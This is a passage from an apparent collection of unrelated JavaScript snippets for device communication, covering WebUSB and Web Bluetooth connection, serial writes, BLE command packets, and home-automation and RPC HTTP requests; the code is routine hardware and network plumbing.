1A: Auto-Select first port\n if (event.type == 'AutoConnect' || event.type == 'Reconnect') {\n // ports = await getPorts()\n //STEP 1A: GetPorts - Automatic at initialization\n // -Enumerate all attached devices\n // -Check for permission based on vendorID & productID\n devices = await navigator.usb.getDevices();\n ports = devices.map((device) => new serial.Port(device)); //return port\n\n if (ports.length == 0) {\n port.statustext_connect =\n 'NO USB DEVICE automatically found on page load';\n console.log(port.statustext_connect);\n } else {\n var statustext = '';\n if (event.type == 'AutoConnect') {\n statustext = 'AUTO-CONNECTED USB DEVICE ON PAGE LOAD!';\n } else if (event.type == 'Reconnect') {\n statustext = 'RECONNECTED USB DEVICE!';\n }\n port = ports[0];\n try {\n await port.connect();\n } catch (error) {\n console.log(error);\n }\n port.statustext_connect = statustext;\n console.log(port.statustext_connect);\n\n //Hide manual connect button upon successful connect\n document.querySelector('button[id=connectusb]').style.display = 'none';\n }\n }\n\n // STEP 1B: User connects to Port\n if (\n event.type == 'pointerup' ||\n event.type == 'touchend' ||\n event.type == 'mouseup'\n ) {\n event.preventDefault(); //prevents additional downstream call of click listener\n try {\n //STEP 1B: RequestPorts - User based\n // -Get device list based on Arduino filter\n // -Look for user activation to select device\n const filters = [\n { vendorId: 0x2341, productId: 0x8036 },\n { vendorId: 0x2341, productId: 0x8037 },\n { vendorId: 0x2341, productId: 0x804d },\n { vendorId: 0x2341, productId: 0x804e },\n { vendorId: 0x2341, productId: 0x804f },\n { vendorId: 0x2341, productId: 0x8050 },\n ];\n\n device = await navigator.usb.requestDevice({ filters: filters });\n port = new serial.Port(device); //return port\n\n await port.connect();\n\n port.statustext_connect = 'USB DEVICE CONNECTED BY USER ACTION!';\n console.log(port.statustext_connect);\n\n //Hide manual connect button upon successful connect\n document.querySelector('button[id=connectusb]').style.display = 'none';\n } catch (error) {\n console.log(error);\n }\n waitforClick.next(1);\n }\n} //FUNCTION findUSBDevice","function bleConsole(value){\n const y = document.getElementById('serial')\n /* check if the device is connected if true send file*/\n if(isConnected){\n /* need to read the value of the TX_char\n * may need some kind of loop or trigger to watch if new data comes in????\n * not sure what I want to implement for this yet....\n */\n // y.innerText = TX_characteristic.readValue(); TODO does not work\n }else{\n const x = document.getElementById('console');\n x.style.display =\"none\";\n alert(\"MicroTrynkit device not connected. Please pair it first.\");\n }\n\n}","writeLoginControl(data) {\n var arrData = [17,16,0,1,1,];\n const data_send = this.toUTF8Array(data);\n console.log('writeLoginControl_1',data_send);\n for (var i = 0; i < data_send.length; i++) {\n arrData.push(data_send[i]);\n }\n arrData[2] = arrData.length + 1;\n arrData[arrData.length] = this.calCheckSum(arrData);\n\n console.log('writeLoginControl_2',arrData, this.byteToHexString(arrData));\n\n BleManager.writeWithoutResponse(this.props.mymac, 'fff0', 'fff5',arrData)\n .then(() => {\n console.log('--writeLoginControl successfully: ',arrData);\n })\n .catch((error) => {\n console.log('--writeLoginControl failed ',error);\n });\n }","function onData(d){\n var frame,\n generatedData,\n response;\n\n frame = TBus.parse(d);\n\n if(!frame.valid){\n console.log(\"Invalid frame received.\");\n return;\n }\n\n if(!Devices[frame.receiver[0]]){\n console.log(\"Device is not supported.\");\n }\n\n generatedData = Devices[frame.receiver[0]].randomData();\n response = TBus.prepareCommand(frame.sender, frame.receiver, generatedData);\n\n setTimeout(function(){\n /*\n var one,\n two;\n\n one = new Buffer(response.slice(0,5));\n two = new Buffer(response.slice(5,response.length));\n serialPort.write(one);\n setTimeout(function(){\n serialPort.write(two);\n },110);\n */\n serialPort.write(response);\n },0);\n}","enumerate_devices() {\n const filters = {filters: [\n {vendorId: 0x16D0}\n ]};\n\n if (!this.usb) {\n this.log(\"error: WebUSB not supported\\n\", \"red\");\n return;\n }\n\n this.usb.requestDevice(filters)\n .then(dev => this.connect_device(dev))\n .catch(error => {\n if (String(error) === \"SecurityError: Must be handling a user gesture to show a permission request.\") {\n this.log(\"Please click 'Connect Device' on the left toolbar.\", \"black\");\n } else if (String(error) === \"NotFoundError: No device selected.\") {\n this.log(\"Please select a WebUSB device.\", \"red\");\n } else {\n this.log(String(error));\n this.log(\"error: unable to enumerate USB device list\");\n }\n });\n }","function bluetooth(){\n\n if (!navigator.bluetooth) {\n return alert('Web Bluetooth API is not available in this browser. Please use chrome.');\n }\n const z = document.getElementById('debugger');\n const y = document.getElementById('serial')\n\n if (z.style.display ===\"none\"){\n z.style.display = \"block\";\n }else{\n }\n \n z.innerHTML= z.innerHTML + \"\\n\"+ ('Requesting Bluetooth Devices');\n navigator.bluetooth.requestDevice({\n filters:[{\n name: 'MicroTrynkit',\n }],\n optionalServices: [service]\n })\n .then(device=>{\n z.innerHTML = z.innerHTML + \"\\n\"+ (\"Connected to: \");\n z.innerHTML= z.innerHTML +\"\\n\"+ (\">Name:\" + device.name);\n z.innerHTML= z.innerHTML + \"\\n\"+ (\">id:\" + device.id);\n isConnected = 1;\n bledevice = device;\n return device.gatt.connect();\n })\n .then(server=>{\n bleserver = server;\n return server.getPrimaryService(service);\n })\n .then(service => {\n return service.getCharacteristic(RX_char)\n .then(characteristic => {\n console.log(characteristic);\n RX_characteristic = characteristic;\n return service.getCharacteristic(TX_char);\n })\n })\n .then(characteristic => {\n console.log(characteristic);\n TX_characteristic = characteristic;\n /* add an event listener to the TX characteristic */\n TX_characteristic.addEventListener('valueUpdate', handleValueUpdated);\n console.log(TX_characteristic.readValue());\n })\n .then( value =>{\n /* try to read from the device and print to console */\n // y.innerText = value.getUint8(0);\n // console.log(value.getUint8(0));\n })\n .catch(error=> {\n z.innerHTML= z.innerHTML + \"\\n\"+ (error);\n });\n}","function ble_transmit_cmd(cmd) {\n if(cmd == 0){\n for(var i = 0; i < g_rawcode_length/2; i = i + 1){\n uiProgressBar(g_rawcode_length/2, i+1);\n\n var tx_data = [];\n\n /*\n for(var j = 0; j < 2; j = j + 1){\n tx_data[j] = 0xff & (i >> (8*(1-j)));\n }\n */\n //CMD\n tx_data[0] = 0;\n //index\n tx_data[1] = i & 0xff;\n\n\n for(var j = 0; j < 2; j = j + 1){\n tx_data[2+j] = 0xff & ((g_rawcode_length/2) >> (8*(1-j)));\n }\n\n //freq(0:38k, 1;40k)\n tx_data[4] = 0;\n //Format(0:unknown, 1:NEC, 2:SONY...)\n tx_data[5] = 1;\n\n //Number of Frame\n for(var j = 0; j < 2; j = j + 1){\n tx_data[6+j] = 0xff & (g_rawcode_length >> (8*(1-j)));\n }\n\n //Data0\n for(var j = 0; j < 4; j = j + 1){\n tx_data[8+j] = 0xff & ((g_rawcode[i*2] / g_ir_margin) >> (8*(3-j)));\n }\n\n //Data1\n for(var j = 0; j < 4; j = j + 1){\n tx_data[12+j] = 0xff & ((g_rawcode[i*2 + 1] / g_ir_margin) >> (8*(3-j)));\n }\n\n //Transmit\n window.cmdCharacteristic.writeValue(new Uint8Array(tx_data)).catch(error => {\n uiDebugMessage(\"liffWriteLoadMatrix\");\n uiStatusError(makeErrorMsg(error), false);\n });\n }\n }else{\n window.cmdCharacteristic.writeValue(new Uint8Array([1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])).catch(error => {\n uiDebugMessage(\"liffWriteLoadMatrix - Req\");\n uiStatusError(makeErrorMsg(error), false);\n });\n }\n}","async function upload( cmd_array, fastspeed = true){\n let fullflag = false\n \n if(cmd_array.length>1){\n fullflag = Boolean(parseInt(cmd_array[1]))\n }\n\n if(fastspeed){\n await blxConnectionFast()\n if(blxErrMsg) return\n }\n\n for(;;){ // Unlock Device (locked in FAST mode)\n await blxDeviceCmd('v', 5000) // Get virtual Disk Dir\n if (blxErrMsg) break\n\n if(fullflag === true){ // After 1.st true BLE cmd bec. of deviceMAC\n await blStore.remove(blxIDs.deviceMAC + '_data.edt')\n await blStore.remove(blxIDs.deviceMAC + '_data.edt.old')\n }\n \n await calcMem(true) // With adjust\n if(blxErrMsg) break\n\n terminalPrint('Available Data (Bytes): Total: ' + blxDataMem.total + ', New: ' + blxDataMem.incnew)\n\n if(blxUserCB) {\n if(fullflag) blxUserCB('UPLOAD',blxDataMem.total,'FULL') \n else blxUserCB('UPLOAD',blxDataMem.incnew,'INC') \n }\n \n await updateFile('data.edt', fullflag)\n if(blxErrMsg) break\n\n await updateFile('data.edt.old', fullflag)\n //if(blxErrMsg) break // not needed\n\n break \n } // for\n\n if(fastspeed){ // With NO data, direct CF->CS might raise GATT ERROR\n await blxConnectionSlow()\n }\n }","function request(value) {\n\t// Init variables\n\tlet src;\n\tlet cmd;\n\n\tswitch (value) {\n\t\tcase 'motor-values' : {\n\t\t\tsrc = 'DIA';\n\t\t\tcmd = [ 0xB8, 0x12, 0xF1, 0x03, 0x22, 0x40, 0x00 ];\n\t\t\tbreak;\n\t\t}\n\n\t\tdefault : return;\n\t}\n\n\tbus.data.send({\n\t\tsrc : src,\n\t\tdst : 'DME',\n\t\tmsg : cmd,\n\t});\n}","async request() {\n let options = {\n filters: [\n {\n name: \"balenaBLE\"\n }\n ],\n optionalServices: [0xfff0, 0xfff1]\n };\n if (navigator.bluetooth == undefined) {\n alert(\"Sorry, Your device does not support Web BLE!\");\n return;\n }\n this.device = await navigator.bluetooth.requestDevice(options);\n if (!this.device) {\n throw \"No device selected\";\n }\n this.device.addEventListener(\"gattserverdisconnected\", this.onDisconnected);\n }","async function writepumpdurationtoBLE(num){\n console.log('Attempting bluetooth write')\n var arrInt8 = toBytesInt16(num)\n ble.twrite_pumpduration=performance.now()\n try{\n await ble.writepumpdurationcharacteristic.writeValue(arrInt8)\n var textstr = 'wrote ble val >> ' + num + ', byte values ' + arrInt8\n console.log(textstr)\n ble.statustext = textstr\n // \n //wdm(textstr)\n }\n catch(error) {\n var textstr = 'Could not write pump duration to ble device'\n console.log(textstr)\n ble.statustext = ble.statustext + \"
    \" + textstr\n \n }\n}","function sendSerialData() {\n\t\tif (isLoaded()) {\n\t\t\t// Beggining and ending patterns that signify port has responded\n\t\t\t// chr(2) and chr(13) surround data on a Mettler Toledo Scale\n\t\t\tqz.setSerialBegin(chr(2));\n\t\t\tqz.setSerialEnd(chr(13));\n\t\t\t// Baud rate, data bits, stop bits, parity, flow control\n\t\t\t// \"9600\", \"7\", \"1\", \"even\", \"none\" = Default for Mettler Toledo Scale\n\t\t\tqz.setSerialProperties(\"9600\", \"7\", \"1\", \"even\", \"none\");\n\t\t\t// Send raw commands to the specified port.\n\t\t\t// W = weight on Mettler Toledo Scale\n\t\t\tqz.send(document.getElementById(\"port_name\").value, \"\\nW\\n\");\n\t\t\t\n\t\t\t// Automatically called when \"qz.send()\" is finished waiting for \n\t\t\t// a valid message starting with the value supplied for setSerialBegin()\n\t\t\t// and ending with with the value supplied for setSerialEnd()\n\t\t\twindow['qzSerialReturned'] = function(portName, data) {\n\t\t\t\tif (qz.getException()) {\n\t\t\t\t\talert(\"Could not send data:\\n\\t\" + qz.getException().getLocalizedMessage());\n\t\t\t\t\tqz.clearException(); \n\t\t\t\t} else {\n\t\t\t\t\tif (data == null || data == \"\") { // Test for blank data\n\t\t\t\t\t\talert(\"No data was returned.\")\n\t\t\t\t\t} else if (data.indexOf(\"?\") !=-1) { // Test for bad data\n\t\t\t\t\t\talert(\"Device not ready. Please wait.\")\n\t\t\t\t\t} else { // Display good data\n\t\t\t\t\t\talert(\"Port [\" + portName + \"] returned data:\\n\\t\" + data);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t};\n\t\t}\n\t}","function getWeMoData() {\n var wemoHeaders = { \n \"Content-Type\": \"application/json\", \n \"SOAPACTION\": \"urn:Belkin:service:basicevent:1#GetBinaryState\",\n };\n var wemoState = '>' + \n '' +\n \"\" + \n '' + \n \"1\" + \n \"\" + \n \"\" + \n \"\"\n var wemoOptions =\n {\n \"method\" : \"post\",\n \"headers\" : wemoHeaders,\n \"muteHttpExceptions\": true,\n \"payload\" : wemoState,\n };\n\n var ddnsDevices = [ \"WemoXmas\", \"WemoGazebo\" ];\n props.setProperty( \"weNum\", ddnsDevices.length ); \n \n for (var i = 0; i < ddnsDevices.length; i++) {\n var response = UrlFetchApp.fetch(getSecureVal(ddnsDevices[i], \"URL\") + \"/upnp/control/basicevent1\").getContentText();\n Logger.log(response);\n var wemoJson = JSON.parse(response);\n state = wemoJSON.BinaryState;\n props.setProperties( \"we\" + String(i), state ); \n /* send to ATT M2X*/\n var streams = [ \"we0\", \"we1\", \"we2\", \"we3\" ];\n sendDataATT(ddnsDevices[i], streams);\n logProps(streams);\n }\n \n}","function OpenAVR(device)\n{\n if (device.deviceDescriptor.idVendor != kAtmel ||\n device.deviceDescriptor.idProduct != kEVK1101)\n {\n return; // (not our device)\n }\n\n try {\n device.open();\n device.interfaces[0].claim();\n // find first unused input >= 2\n for (var i=2; ; ++i) {\n if (i < avrs.length && avrs[i]) continue;\n avrs[i] = device;\n device.avrNum = i;\n var endIn = device.interfaces[0].endpoints[0];\n var endOut = device.interfaces[0].endpoints[1];\n endIn.avrNum = i;\n endOut.avrNum = i;\n endIn.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\n endOut.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\n endIn.timeout = 1000;\n endOut.timeout = 1000;\n // (must install handlers before we start polling)\n endIn.on('data', HandleData);\n endIn.on('error', HandleError);\n endOut.on('error', HandleError);\n endIn.startPoll(4, 256);\n\n // add member function to send command to AVR\n device.SendCmd = SendCmd;\n // send initial command to get AVR serial number and software version\n device.SendCmd(\"a.ser;b.ver\\n\");\n break;\n }\n }\n catch (err) {\n Log('Error opening AVR device');\n }\n}","function sendCommand(device_id, command) {\n\tnew Ajax.Request(\"/controls/sendCommand\", { \n\t\tmethod: \"get\", \n\t\tparameters: { \n\t\t\t\"device_id\": device_id,\n\t\t\t\"command\": command,\n\t\t}\n\t});\t\n}","function send (token, deviceId, payload, cb) {\n\trequest.post({\n\t\turl,\n\t\tbody: Buffer.concat([new Buffer(deviceId, 'hex'), payload]),\n\t\theaders: {\n\t\t\t'Content-Type': 'application/octet-stream',\n\t\t\t'Authorization': 'Token ' + token,\n\t\t},\n\t}, (err, httpResponse, body) => {\n\t\tif (err) return cb(err)\n\n\t\tif (httpResponse.statusCode !== 200) {\n\t\t\treturn cb('Error in ConCaVa (' + httpResponse.statusMessage + '): ' + body)\n\t\t}\n\n\t\tcb()\n\t})\n}","function setupUSBEventHandlers(result) {\n\tconsole.log('App was granted the \"usbDevices\" permission.');\n\tchrome.usb.findDevices(device_info, function(devices) {\n\t\tconsole.log('Found ' + devices.length + ' devices.');\n\t\tif (!devices || !devices.length) {\n\t\t\treturn;\n\t\t}\n\t\tmp_device = devices[0];\n\t\tchrome.usb.interruptTransfer(mp_device, in_transfer, onEvent);\n\n\t\tchangeState(state.ready);\n\t});\n}","function controlHSDevice(device,action,value,cbfunc){\n var options = {\n hostname: hsserver,\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/ + action + "&id=' + device + '&value=' + value,\n port: hsport,\n headers: {\n 'Authorization': auth\n }\n };\n\n http.get(options, function(response) {\n var body = '';\n response.on('data', function(d) {body += d;});\n response.on('end', function() {cbfunc(JSON.parse(body));});\n\t response.on(\"error\",function(e){console.log(\"Got error: \" + e.message); });\n }); \n}","function controlHSDevice(device,action,value,cbfunc){\n var options = {\n hostname: hsserver,\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/ + action + "&id=' + device + '&value=' + value,\n port: hsport,\n headers: {\n 'Authorization': auth\n }\n };\n\n http.get(options, function(response) {\n var body = '';\n response.on('data', function(d) {body += d;});\n response.on('end', function() {cbfunc(JSON.parse(body));});\n\t response.on(\"error\",function(e){log(\"Got error: \" + e.message); });\n }); \n}","update() {\n\t\tthis.dev.controlTransfer(0xb2, 0x06, 0, 0, 128).then((status) => {\n\t\t\tif(status.length != 128) {\n\t\t\t\treturn this.error(`Status size error. Received: ${status.length}`);\n\t\t\t}\n\t\t\tthis.parseStatus(status);\n\t\t});\n\t}","function sendToSerial(data){\n var objFromBuffer = JSON.parse(data);\n console.log(\"sending to serial: \", objFromBuffer.data);\n if(objFromBuffer.data !== undefined){\n myPort.write(objFromBuffer.data); \n }\n}","function respond(){\n\t\t\t\t\t// flush HTTP response\n\t\t\t\t\tvar bin = responsePacket.serialize();\n\t\t\t\t\t//sys.puts( utils.hex(bin) );\n\t\t\t\t\t//sys.puts( sys.inspect(responsePacket) );\n\t\t\t\t\tres.writeHead( 200, {\n\t\t\t\t\t\t'Content-Type': 'application/x-amf',\n\t\t\t\t\t\t'Content-Length': bin.length \n\t\t\t\t\t} );\n\t\t\t\t\tres.write( bin, \"binary\" );\n\t\t\t\t\tres.end();\n\t\t\t\t}","function WebUSBSerialCommunicator (params) {\n var self = this;\n\n self.debugMode = false;\n if(typeof params !== \"undefined\" &&\n params !== null &&\n typeof params.debug === \"boolean\") {\n self.debugMode = params.debug;\n }\n\n if(typeof params !== \"undefined\" &&\n params !== null &&\n typeof params.device === \"object\") {\n if (params.device.vendorId === FTDI_USB_VENDOR_ID && params.device.productId === FTDI_USB_PRODUCT_ID) {\n this.serial = new WebFTDIUSBSerialPort({\n device: params.device,\n debug: self.debugMode\n });\n } else if (params.device.vendorId === NATIVE_USB_VENDOR_ID && params.device.productId === NATIVE_USB_PRODUCT_ID) {\n this.serial = new WebNativeUSBSerialPort({\n device: params.device,\n debug: self.debugMode\n });\n } else {\n throw new Error(\"Device's vendor ID and product ID do not match a TappyUSB\");\n }\n } else if (typeof params !== \"undefined\" &&\n params !== null &&\n typeof params.serial === \"object\"){\n // this is just for testing and should not be used\n this.serial = params.serial;\n } else {\n throw new Error(\"Must specify a TappyUSB device\");\n }\n\n this.isConnecting = false;\n this.hasAttached = false;\n this.disconnectImmediately = false;\n this.disconnectCb = function() {};\n\n this.dataReceivedCallback = function(bytes) {\n\n };\n this.errorCallback = function(data) {\n\n };\n this.readCallback = function(buff) {\n self.dataReceivedCallback(new Uint8Array(buff));\n };\n }","writeLoginSetting(data) {\n var arrData = [17,32,0,1,1,];\n const data_send = this.toUTF8Array(data);\n console.log('writeLoginSetting_1',data_send);\n for (var i =0; i < data_send.length; i++) {\n arrData.push(data_send[i]);\n }\n arrData[2] = arrData.length + 1;\n arrData[arrData.length] = this.calCheckSum(arrData);\n\n console.log('writeLoginSetting_2',arrData, this.byteToHexString(arrData));\n\n BleManager.writeWithoutResponse(this.props.mymac, 'fff0', 'fff5',arrData)\n .then(() => {\n console.log('--writeLoginSetting successfully: ',arrData);\n })\n .catch((error) => {\n console.log('--writeLoginSetting failed ',error);\n });\n }","function sendToSerial(data) {\n console.log(\"sending to serial: \" + data);\n port.write(data);\n}","function HandleResponse(avrNum, responseID, msg)\n{\n switch (responseID) {\n case 'a': // a = get serial number\n var avr;\n avrs[avrNum].avrSN = msg; // save s/n in device object\n for (var i=0; i= 8 && msg.substr(0,1) == 'm') {\n var n = msg.substr(1,1); // motor number\n var a = msg.split(' ');\n for (var i=0; i 0) continue;\n } else {\n // allow negative motor speed when at top limit\n if (motorSpd[mot] < 0) continue;\n }\n avrs[0].SendCmd(\"c.m\" + mot + \" halt\\n\");\n var which = isBottom ? \"lower\" : \"upper\";\n Log(\"M\" + mot + \" halted! (hit \" + which + \" limit switch)\");\n }\n }\n }\n } break;\n\n case 'z': // z = disable watchdog timer\n // forget about the unknown AVR\n avrs[avrNum].interfaces[0].endpoints[0].device = avrs[avrNum];\n avrs[avrNum].interfaces[0].endpoints[0].on('end', HandleEnd);\n avrs[avrNum].interfaces[0].endpoints[0].stopPoll();\n avrs[avrNum] = null;\n break;\n\n default:\n Log('AVR'+avrNum, 'Unknown response:', msg);\n break;\n }\n return avrNum;\n}","async function blxDeviceCmd (cmd, timeout_ms = DEV_TIMEOUT_MS) { // case dep.\n if (blxCmdBusy === true) {\n console.warn('*** BLX BUSY (Since ' + (Date.now() - blxCmdBusy_t0).toFixed(0) + ' msec) ***')\n return\n }\n\n if (full_connected_flag !== true) {\n if (NUS_device === undefined) {\n blxErrMsg = 'ERROR(DeviceCmd): Not Connected!'\n return\n } else {\n await blxConnectNus(0, 1) // Reconnect with SCAN\n if (blxErrMsg) return\n }\n }\n\n blxCmdBusy = true\n blxCmdLast = cmd\n blxCmdBusy_t0 = Date.now()\n await bleSendData(cmd)\n await wait_blx(timeout_ms)\n blxCmdBusy = false\n }","function send2LMviaBT(value) { //value is an arry of bytes\r\n //let encoder = new TextEncoder('utf-8');\r\n mDebugMsg1(1,'Setting Characteristic User Description...');\r\n gattCharacteristic.writeValue(value)\r\n .then(_ => {\r\n \t mDebugMsg1(1,'> Characteristic User Description changed to: ' + value);\r\n })\r\n .catch(error => {\r\n\t\t//todo9: userfriendly message\r\n \t mDebugMsg1(1,'Argh! ' + error);\r\n });\r\n\r\n\r\n }","async function requestBarcodePrinter() {\n console.log(navigator)\n navigator.usb &&\n navigator.usb\n .requestDevice({\n filters: [\n {\n vendorId: 5380,\n // classCode: 0xff, // vendor-specific\n // protocolCode: 0x01,\n },\n ],\n })\n .then(selectedDevice => {\n setBarcodePrinter(selectedDevice)\n })\n .catch(errorInfo => {\n console.log(errorInfo)\n // message.error(i18n.t`Cannot find label printer`)\n })\n }","_sendData() {\n\n }","function sendData() {\n // convert the value to an ASCII string before sending it:\n serialPort.write(brightness.toString());\n console.log('Sending ' + brightness + ' out the serial port');\n }","function raspiWrite(component, value){\t\n\tconst data = {\n\t\tValue: value\n\t};\n\n\tconst option = {\n\t\tmethod: 'POST',\n\t\tbody: JSON.stringify(data), \n\t\theaders:{\n\t\t\t'Content-Type': 'application/json'\n\t\t}\n\t}\n\tfetch('/raspi/' + component, option)\n\t.then(console.log(\"LED actualizado\"));\n}","function sendRequest(sensorType, isSensorOn, dataByte) {\n var newRequest = new XMLHttpRequest();\n newRequest.open(\"POST\", `http://${window.location.host}/pi_data`, true);\n newRequest.setRequestHeader(\"Content-Type\", \"application/json\");\n newRequest.send(\n JSON.stringify({\n sensor: sensorType,\n isSensorOn: isSensorOn,\n mode: dataByte,\n })\n );\n}","function trans_appbin(idx) {\n let btdev = btdevs[idx];\n let seq = btdev.wrtseq;\n\n showProgress(idx);\n\n if (seq >= mrbbin.byteLength / mrb_chunk_size) {\n btdev.wrtseq = -1;\n let buf = [0x07, 0x70, 0x61, 0x73, 0x73, 0x00];\n btdev.bt.write(\"WriteApp\", buf);\n console.log(\"Transfer completed. idx=\" + idx);\n return;\n }\n\n // var binbuf = [0x06, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];\n // binbuf[1] = Math.floor(seq / 256);\n // binbuf[2] = seq % 256;\n btdev.binbuf[1] = Math.floor(seq / 256);\n btdev.binbuf[2] = seq % 256;\n\n for (var i=0; i {\n let allData = \"\";\n res.on('data', function(data) { allData += data; });\n res.on('close', function(data) { console.log(\"Closed: \" + allData); }); \n }).end(content);\n}","function sendData() {\n // convert the value to an ASCII string before sending it:\n myPort.write(brightness.toString());\n console.log('Sending ' + brightness + ' out the serial port');\n // increment brightness by 10 points. Rollover if > 255:\n if (brightness < 255) {\n brightness+= 10;\n } else {\n brightness = 0;\n }\n }","function processDeviceCommand(request, response) {\r\n\tvar command = request.headers[\"tplink-command\"]\r\n\tvar deviceIP = request.headers[\"tplink-iot-ip\"]\r\n\tvar respMsg = \"deviceCommand sending to IP: \" + deviceIP + \" Command: \" + command\r\n\tconsole.log(respMsg)\r\n\tvar action = request.headers[\"action\"]\r\n\tresponse.setHeader(\"action\", action)\r\n\tvar socket = net.connect(9999, deviceIP)\r\n\tsocket.setKeepAlive(false)\r\n\tsocket.setTimeout(6000)\r\n\tsocket.on('connect', () => {\r\n\t\tsocket.write(TcpEncrypt(command))\r\n\t})\r\n\tsocket.on('data', (data) => {\r\n\t\tsocket.end()\r\n\t\tdata = decrypt(data.slice(4)).toString('ascii')\r\n\t\tresponse.setHeader(\"cmd-response\", data)\r\n\t\tresponse.end()\r\n\t\tvar respMsg = \"Command Response sent to SmartThings\"\r\n\t\tconsole.log(respMsg)\r\n\t}).on('timeout', () => {\r\n\t\tresponse.setHeader(\"cmd-response\", \"TcpTimeout\")\r\n\t\tresponse.end()\r\n\t\tsocket.end()\r\n\t\tvar respMsg = new Date() + \"\\n#### TCP Timeout in deviceCommand for IP: \" + deviceIP + \" ,command: \" + command\r\n\t\tconsole.log(respMsg)\r\n\t\tlogResponse(respMsg)\r\n\t}).on('error', (err) => {\r\n\t\tsocket.end()\r\n\t\tvar respMsg = new Date() + \"\\n#### Socket Error in deviceCommand for IP: \" + deviceIP + \" ,command: \" + command\r\n\t\tconsole.log(respMsg)\r\n\t\tlogResponse(respMsg)\r\n\t})\r\n}","OLDsendFirmware(data) {\n console.log('[3] bleTransport: TODO sendFirmware(data)');\n console.log('[3] bleTransport: data =', data);\n return Promise.resolve();\n /*TODO\n this._emitInitializeEvent(ObjectType.DATA);\n return this.getFirmwareState(data)\n .then(state => {\n this._debug(`Sending firmware: ${state.toString()}`);\n const objects = state.remainingObjects;\n if (state.hasResumablePartialObject) {\n const object = state.remainingPartialObject;\n return this._resumeWriteObject(object, ObjectType.DATA, state.offset, state.crc32).then(progress =>\n this._createAndWriteObjects(objects, ObjectType.DATA, progress.offset, progress.crc32));\n }\n return this._createAndWriteObjects(objects, ObjectType.DATA, state.offset, state.crc32);\n });\n */\n }","sendSendSerialPortsMessageToServer() {\n var message = {};\n this.sendMessageToServer('sendSerialPorts', message);\n }","async enableSimpleHIDMode() {\n const outputReportID = 0x01;\n const subcommand = [0x03, 0x3f];\n const data = [\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n ...subcommand,\n ];\n await this.device.sendReport(outputReportID, new Uint8Array(data));\n }","readFromDevice() {\n this.device.transferIn(5, 64).then(result => {\n const decoder = new TextDecoder();\n this.rstring += decoder.decode(result.data);\n // do a quick JSON smoketest (should do better with decoder/streaming)\n const startIdx = this.rstring.indexOf('{');\n if(startIdx > 0) this.rstring = this.rstring.substring(startIdx);\n const endIdx = this.rstring.indexOf('}');\n if(endIdx > -1) {\n const parseStr = this.rstring.substring(0, endIdx+1);\n this.rstring = this.rstring.substring(endIdx+1);\n try {\n const msg = JSON.parse(parseStr);\n this._handleMessage(msg);\n // this.dispatchEvent(new CustomEvent('ek-event', {detail:msg}), {bubbles: true});\n } catch(e) {\n console.log(\"NOT JSON:\",parseStr);\n }\n this.rstring = \"\";\n }\n this.readFromDevice();\n })\n .catch(error => { \n console.log(error);\n this.emitMessage(this.device.serialNumber, \"\");\n this.emitDisconnected(this.device.serialNumber);\n this.device = null;\n this.rstring = \"\";\n });\n }","function arduinoTest() {\n return request;\n}","function cerial() {\n getPortInfo()\n .then( (portDetails) => handleSensor(portDetails))\n .catch((error) => console.log(error));\n // port.write('ROBOT PLEASE RESPOND\\n');\n // The parser will emit any string response\n}","function sendData(blob) {\n\n\t// sends data to flask url /upload_sound as a post with data blob - in format for wav file, hopefully. it is a promise\n\tfetch(\"/upload_sound\", {\n\tmethod: \"post\",\n\tbody: blob\n\t});\n}","function requestDevStatus() {\n if(mConnectedToDev) {\n return;\n }\n\n mNbReqStatusRetry++;\n if(mNbReqStatusRetry >= 6) {\n logger.warn('[ctrl-test] Request device status without response. Stop!');\n return;\n }\n\n devComm.sendStatusReportReq(SelectedGW);\n\n setTimeout(requestDevStatus, 5*1000);\n\n }","async sendBinaryRequest(path, params) {\n if (LibraryUtils.getLogLevel() >= 2) console.log(\"sendBinaryRequest(\" + path + \", \" + JSON.stringify(params) + \")\");\n \n // load wasm module\n await LibraryUtils.loadKeysModule();\n \n // serialize params\n let paramsBin = MoneroUtils.jsonToBinary(params);\n \n try {\n \n // send http request\n let resp = await HttpClient.request({\n method: \"POST\",\n uri: this.getUri() + '/' + path,\n username: this.getUsername(),\n password: this.getPassword(),\n body: paramsBin,\n rejectUnauthorized: this.config.rejectUnauthorized,\n requestApi: GenUtils.isFirefox() ? \"xhr\" : \"fetch\"\n });\n \n // validate response\n MoneroRpcConnection.validateHttpResponse(resp);\n \n // process response\n resp = resp.body;\n if (!(resp instanceof Uint8Array)) {\n console.error(\"resp is not uint8array\");\n console.error(resp);\n }\n if (resp.error) throw new MoneroRpcError(resp.error.message, resp.error.code, path, params);\n return resp;\n } catch (err) {\n if (err instanceof MoneroRpcError) throw err;\n else throw new MoneroRpcError(err, undefined, path, params);\n }\n }","function transmitAudioHexBytes(audioBlob) {\n\tvar myReader = new FileReaderSync(); // FIX - Firefox does not support\n\t\t\t\t\t\t\t\t\t\t\t// FileReader()\n\tvar arrayBuffer = myReader.readAsArrayBuffer(audioBlob);\n\tvar binaryHexData = buildMessage(\"DATA\", \"\");\n\tvar view = new DataView(arrayBuffer);\n\tvar viewLen = view.byteLength;\n\tfor (var i = 0; i < viewLen; binaryHexData += (\"00\" + view.getUint8(i++)\n\t\t\t.toString(16)).substr(-2).toUpperCase())\n\t\t;\n\tconsole.log(\"socketSend@main \" + binaryHexData.length);\n\twsSnd.send(binaryHexData);\n}","function chromeAppMessageHandler(response) {\n console.debug(response);\n switch (response.responder) {\n case \"list\":\n const list_html = generateDropDownList(response.data);\n document.querySelector(\"#device-select\").innerHTML = list_html;\n document.querySelector(\"#device-select\").dispatchEvent(change_event);\n break;\n case \"connect\":\n device_connected = true;\n $(\"#connect\")\n .removeClass(\"btn-outline-success\")\n .addClass(\"btn-outline-danger\")\n .text(\"Disconnect\");\n document.querySelector(\"#baudrate\").setAttribute(\"disabled\", \"disabled\");\n document\n .querySelector(\"#device-select\")\n .setAttribute(\"disabled\", \"disabled\");\n break;\n case \"disconnect\":\n // TODO(kammce): Actually evaluate that the device has connected properly\n device_connected = false;\n table_init = false;\n 